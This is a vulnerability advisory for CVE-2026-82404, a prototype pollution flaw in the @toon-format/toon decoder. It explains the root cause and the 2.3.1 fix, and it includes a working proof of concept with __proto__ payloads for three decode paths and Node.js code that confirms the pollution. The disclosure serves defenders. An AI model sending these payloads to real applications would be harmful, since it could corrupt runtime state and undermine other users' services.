CVE-2026-82404: @toon-format/toon Prototype Pollution via Untrusted Decode
The TOON decoder writes attacker-supplied keys like __proto__ directly onto the JavaScript prototype chain, letting anyone who can send TOON input corrupt shared runtime state across every object in…

The problem
TOON (Token-Oriented Object Notation) is a compact serialization format for LLM prompts. Versions of @toon-format/toon before 2.3.1 pass decoded keys straight to bracket-assignment without filtering dangerous prototype keys.
All four decode surfaces are affected: dotted path expansion via expandPaths: 'safe' (the strongest vector), plain nested objects, tabular rows, and quoted keys. The encoder had a matching bug, silently dropping own __proto__ properties and potentially firing an inherited setter during normalization.
Proof of concept
A working proof-of-concept for CVE-2026-82404 in @toon-format/toon, with the exact payload below.
// --- Vector 1: expandPaths:'safe' (strongest, lives in expand.ts insertPathSafe) ---
// Craft a TOON document with a dotted key whose segment is __proto__
// TOON syntax: dotted key => value
a.__proto__.polluted: pwned
// Decoded with expandPaths:'safe', insertPathSafe splits on '.' and does:
// obj[segment] = value for each segment, no key guard
// => Object.prototype.polluted === 'pwned'
// --- Vector 2: plain nested object block ---
__proto__:
polluted: pwned
// --- Vector 3: tabular row ---
[1,]{__proto__}:
pwned
// --- Verify pollution (Node.js) ---
const { decode } = require('@toon-format/toon');
// Vector 1
decode('a.__proto__.polluted: pwned', { expandPaths: 'safe' });
console.log(({}).polluted); // => 'pwned'
// Vector 2
decode('__proto__:\n polluted: pwned');
console.log(({}).polluted); // => 'pwned'The root cause is the classic CWE-1321 pattern: bracket-assignment (obj[key] = value) on a plain object literal trusts user-supplied key names. When key is __proto__, JavaScript does not create an own property; it walks the prototype chain and writes to Object.prototype instead.
The insertPathSafe function in expand.ts split dotted keys on . and assigned each segment without a blocklist check, making the dotted-path vector trivially exploitable.
PR #316 (commit 94a2b75) added an isDangerousKey guard covering __proto__, constructor, and prototype for every decode surface, then materialized those keys as ordinary own data properties using Object.defineProperty with no prototype-chain traversal, matching JSON.parse semantics.
The encoder was patched to iterate only own properties and skip dangerous keys during normalization.
The fix
Upgrade to @toon-format/toon@2.3.1. No workaround exists for older versions; callers who cannot upgrade immediately should reject TOON input containing __proto__, constructor, or prototype as any key or dotted-path segment before calling decode().
Reported by ckorhonen.
Related research
- high · 8.5CVE-2026-73654CVE-2026-73654: @trigger.dev/core Prototype Pollution via Run Metadata Operations
- critical · 9.1CVE-2026-53609CVE-2026-53609: ApostropheCMS Server-Side Prototype Pollution via $pullAll Leading to Authorization Bypass
- high · 7.3CVE-2026-54737CVE-2026-54737: @phun-ky/defaults-deep Prototype Pollution via Unsafe Recursive Merge
- high · 7.5CVE-2026-47219CVE-2026-47219: find-my-way Prototype Property Lookup DoS via HTTP/2 Method